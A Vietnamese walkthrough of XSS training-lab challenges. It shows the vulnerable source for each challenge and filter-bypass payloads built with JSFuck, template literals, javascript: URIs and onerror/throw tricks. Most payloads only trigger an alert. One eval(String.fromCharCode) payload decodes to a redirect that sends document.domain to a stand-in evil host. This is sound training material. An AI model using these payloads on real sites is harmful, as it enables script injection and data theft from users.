Một ngày đẹp trời vì thấy mình quá gà khi gặp các lỗi XSS nên mình quyết định tìm kiếm thêm các lab XSS để làm và đây là [trang](https://xss.challenge.training.hacq.me/) mình sẽ dùng để tu luyện thêm kỹ năng XSS của bản thân. Okie Gẹt Gô
# Mục tiêu
Nhập payload làm cho trang web alert `document.domain`
# Baby XSS 01
```html
<script src="hook.js"></script>
<?php
echo $_GET["payload"];
?>
<h1>inject</h1>
<form>
<input type="text" name="payload" placeholder="your payload here">
<input type="submit" value="GO">
</form>
<h1>src</h1>
<?php highlight_string(file_get_contents(basename(__FILE__))); ?>
```
## Phân tích
Đoạn code gây lỗi
```php
echo $_GET["payload"];
```
## Payload
```html
<script>alert(document.domain)</script>
```
# Baby XSS 02
```html
<script src="hook.js"></script>
<script>
window.addEventListener("load", function() {
var q = location.hash.substring(1);
window.query.innerHTML = q == '' ? `Hello!` : (`Hello, ${decodeURI(q)}`);
});
</script>
<p id="query"></p>
<h1>inject</h1>
<p>Inspect the source code carefully and find where to inject :-)</p>
<h1>src</h1>
<?php highlight_string(file_get_contents(basename(__FILE__))); ?>
```
## Phân tích
Đây chính là DOM base XSS. Trong đó:
- Source là `location.hash.substring(1)`: sẽ lấy toàn bộ hash part của URL, bao gồm cả ký tự `#`, `substring(1)` sẽ bỏ đi ký tự `#`
- Sink `window.query.innerHTML` sẽ ghi data vào HTML
Ví dụ:

**Lưu ý:**
Nếu tag **`<script></script>`** nằm trong tag **`<p></p>`** thì tag **`<script></script>`** đó sẽ không được trình duyệt thực thi
Thử dùng **`</p>`** để đóng tag lại nhưng không có tác dụng

Phương án là ta có thể sử dụng tag **`<img>`**
## Payload
```html
<img src="" onerror=alert(document.domain)>
```
# Baby XSS 03
```html
<script src="hook.js"></script>
<?php
$escaped = htmlspecialchars($_GET['payload']);
?>
<h1>Hello, <?= $escaped ?></h1>
<a href="<?= $escaped ?>/friends">Friends</a>
<a href="<?= $escaped ?>/post">Posts</a>
<a href="<?= $escaped ?>/settings">Settings</a>
<h1>inject</h1>
<form>
<input type="text" name="payload" placeholder="your payload here">
<input type="submit" value="GO">
</form>
<h1>src</h1>
<?php highlight_string(file_get_contents(basename(__FILE__))); ?>
```
## Phân tích
Hàm `htmlspecialchars` của PHP được sử dụng để chuyển đổi các ký tự đặc biệt (`<`, ... ) thành các thực thể HTML (`<`, ...)
Input sau khi được chuyển đổi hết các ký tự đặc biệt sẽ được lưu vào attribute **href**
Nếu được inject vào attribute href ta có thể sử dụng `javascript` psuedo-protocol
## Payload
```
javascript:alert(document.domain)
```
# Baby XSS 04
```html
<script src="hook.js"></script>
<?php
// by escaping the payload you won't break this system, haha! :-)
$escaped = preg_replace("/[`<>ux]\\/", "", $_GET['payload']);
?>
<script>
window.addEventListener("load", function() {
var name = `<?= $escaped ?>`;
window.greeting.innerHTML = (name == '' ? 'こんにちは!' : name + 'さん, こんにちは!');
});
</script>
<p id="greeting"></p>
<h1>inject</h1>
<form>
<input type="text" name="payload" placeholder="your payload here">
<input type="submit" value="GO">
</form>
<h1>src</h1>
<?php highlight_string(file_get_contents(basename(__FILE__))); ?>
```
## Phân tích

Có vẻ challenge này đã bị lỗi nên mình sẽ skip qua challenge này :3
# No Alphabets and Digits
```html
<script src="hook.js"></script>
<?php
// by escaping the payload you won't break this system, haha! :-)
$escaped = preg_replace("/[a-zA-Z0-9]/", "", $_GET['payload']);
?>
<script>
// here you can inject an arbitrary script,
// but I guess you can't do anything, cuz the script can't include a-zA-Z0-9 ! :-)
<?= $escaped ?>
</script>
<h1>inject</h1>
<form>
<input type="text" name="payload" placeholder="your payload here">
<input type="submit" value="GO">
</form>
<h1>src</h1>
<?php highlight_string(file_get_contents(basename(__FILE__))); ?>
```
## Phân tích
Đoạn code cho phép ta nhập input vào giữa tag `<script>` nhưng không cho phép nhập chữ và số =))
Ở đây là có thể sử dụng JSFuck - một style lập trình rất khó hiểu dựa trên những thành phần cốt lõi của javascript. Nó chỉ sử dụng 6 ký tự để viết và chạy code
Ta có thể sử dụng trang sau để chuyển đổi từ code javascript bình thuờng thành jsfuck https://jsfuck.com/

Copy đoạn mã và gửi lên server

Lúc này ta sẽ thấy payload được trình duyệt thực thi
##
```javascript
[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[+!+[]+[!+[]+!+[]+!+[]]]+([][[]]+[])[!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+([][[]]+[])[+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+(+(+!+[]+[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]])+[])[+!+[]]+([][[]]+[])[!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+([+[]]+![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[!+[]+!+[]+[+[]]])()
```
# No Parentheses
```html
<script src="hook.js"></script>
<?php
// you cannot do anything without ...
// no parentheses ...
$escaped = preg_replace("/[()]/", "", $_GET['payload']);
// no event handlers!
$escaped = preg_replace("/.*o.*n.*/i", "", $escaped);
?>
<h1>Hello, <?= $escaped ?>!</h1>
<h1>inject</h1>
<form>
<input type="text" name="payload" placeholder="your payload here">
<input type="submit" value="GO">
</form>
<h1>src</h1>
<?php highlight_string(file_get_contents(basename(__FILE__))); ?>
```
## Phân tích
Challenge này sẽ không cho phép chúng ta dùng dấu `()` và input sẽ không được xuất hiện ký tự `o` rồi tới `n` -> mục đích là để filter event handlers
## Payload
Sau đây là một số các payload mà mình có thể nghĩ ra được:
```
<script>alert`XSS`</script>
```
```
<script>setTimeout`alert\x28'XSS'\x29`</script>
```
```
<script>setTimeout`alert\x28self["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]
["\x64\x6f\x6d\x61\x69\x6e"]\x29`</script>
```
```
<iframe src="javascript:%61%6c%65%72%74%28%64%6f%63%75%6d%65%6e%74%2e%64%6f%6d%61%69%6e%29"></iframe>
```
## Nguồn
https://melotover.medium.com/how-i-bypassed-a-tough-waf-to-steal-user-cookies-using-xss-da75f28108e4
https://www.secjuice.com/bypass-xss-filters-using-javascript-global-variables/
# No Quotes
```html
<script src="hook.js"></script>
<?php
// by escaping the payload you won't break this system, haha! :-)
$escaped = preg_replace("/['\"`&#]/", "", $_GET['payload']);
?>
<h1>Hello, <?= $escaped ?>!</h1>
<h1>inject</h1>
<form>
<input type="text" name="payload" placeholder="your payload here">
<input type="submit" value="GO">
</form>
<h1>src</h1>
<?php highlight_string(file_get_contents(basename(__FILE__))); ?>
```
## Phân tích
Challenge này sẽ không có phép chúng ta sử dụng single quote, double quotes, backtick, ampersand, number sign
## Payload
```
<script>[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[+!+[]+[!+[]+!+[]+!+[]]]+([][[]]+[])[!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+([][[]]+[])[+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+(+(+!+[]+[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]])+[])[+!+[]]+([][[]]+[])[!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+([+[]]+![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[!+[]+!+[]+[+[]]])()</script>
```
```
<script>alert(String.fromCharCode(88,83,83))</script>
```
```
<script>alert(document.domain)</script>
```
```
<img src=x onerror=alert(document.domain)>
```
Một trang web giúp mình encode javascript code thành String.fromCharCode
https://eve.gd/2007/05/23/string-fromcharcode-encoder/
```
<script>eval(String.fromCharCode(119,105,110,100,111,119,46,108,111,99,97,116,105,111,110,61,34,104,116,116,112,115,58,47,47,115,117,112,101,114,101,118,105,108,119,101,98,46,99,111,109,63,99,61,34,43,100,111,99,117,109,101,110,116,46,100,111,109,97,105,110,59))</script>
```
# No Parentheses Again
```html
<script src="hook.js"></script>
<?php
$escaped = preg_replace("/[`()<>&#]/", "", $_GET['payload']);
?>
<h1>Hello, <span id="<?= $escaped ?>"><?= htmlspecialchars($_GET['payload']) ?></span>!</h1>
<h1>inject</h1>
<form>
<input type="text" name="payload" placeholder="your payload here">
<input type="submit" value="GO">
</form>
<h1>src</h1>
<?php highlight_string(file_get_contents(basename(__FILE__))); ?>
```
## Phân tích
Challenge này ngăn chúng ta sử dụng `<` tuy nhiên vị trí inject lại nằm ở thuộc tính id và nằm trong tag `<span></span>`

Một vài lưu ý mà ta có thể nghĩ đến ngay:
- Tag `<script>` nằm bên trong tag `<span></span>` sẽ không được thực thi
- Payload nằm trong tag span sẽ bị **htmlspecialchars**
- Thuộc tính `autofocus` không hoạt động trên tag `<span></span>`
- Filter `&#` => Không dùng HTML encode được
- Filter `<>` => Không đóng mở tag được
Trong JavaScript, **error handler** là một **window object**.
Điều này có nghĩa là nếu chúng ta gán cho nó một function, thì chúng ta có thể gọi được function đó bằng cách tạo ra một error
**Throw** là một cách để truyền tham số cho **error handler**
Ví dụ:
```javascript
error=alert; throw 1;
// result alert 1
error=eval; throw '=alert\x281\x29'
```
Trong trường hợp challenge này:
```javascript
" onclick="window.onerror=eval;throw '=alert\u0028\'XSS\'\u0029'"
```
Payload trên sẽ gán function **eval** cho **error handler** sau đó truyền tham số đến cho function **eval** bằng **throw** function
Lưu ý:
- Ta không cần một lỗi thực tế để trigger error
- **throw** statement được sử dụng để truyền string `=alert\u0028\'XSS\'\u0029`
- Khi sử dụng **onerror** mà không có **window**, nó sẽ tham chiếu tới biến cục bộ, không giống với biến toàn cục **window.onerror**
## Payload
```
" onclick="window.onerror=eval;throw '=alert\u0028\'XSS\'\u0029'"
```
```
" onclick="window.onerror=eval;throw '=alert\u0028document.domain\u0029'"
```
## Nguồn:
https://graneed.hatenablog.com/entry/2018/11/23/222842#Case-08-2-Without-any-backquotes-parentheses-HTML-tags-and-
http://www.thespanner.co.uk/2012/05/01/xss-technique-without-parentheses/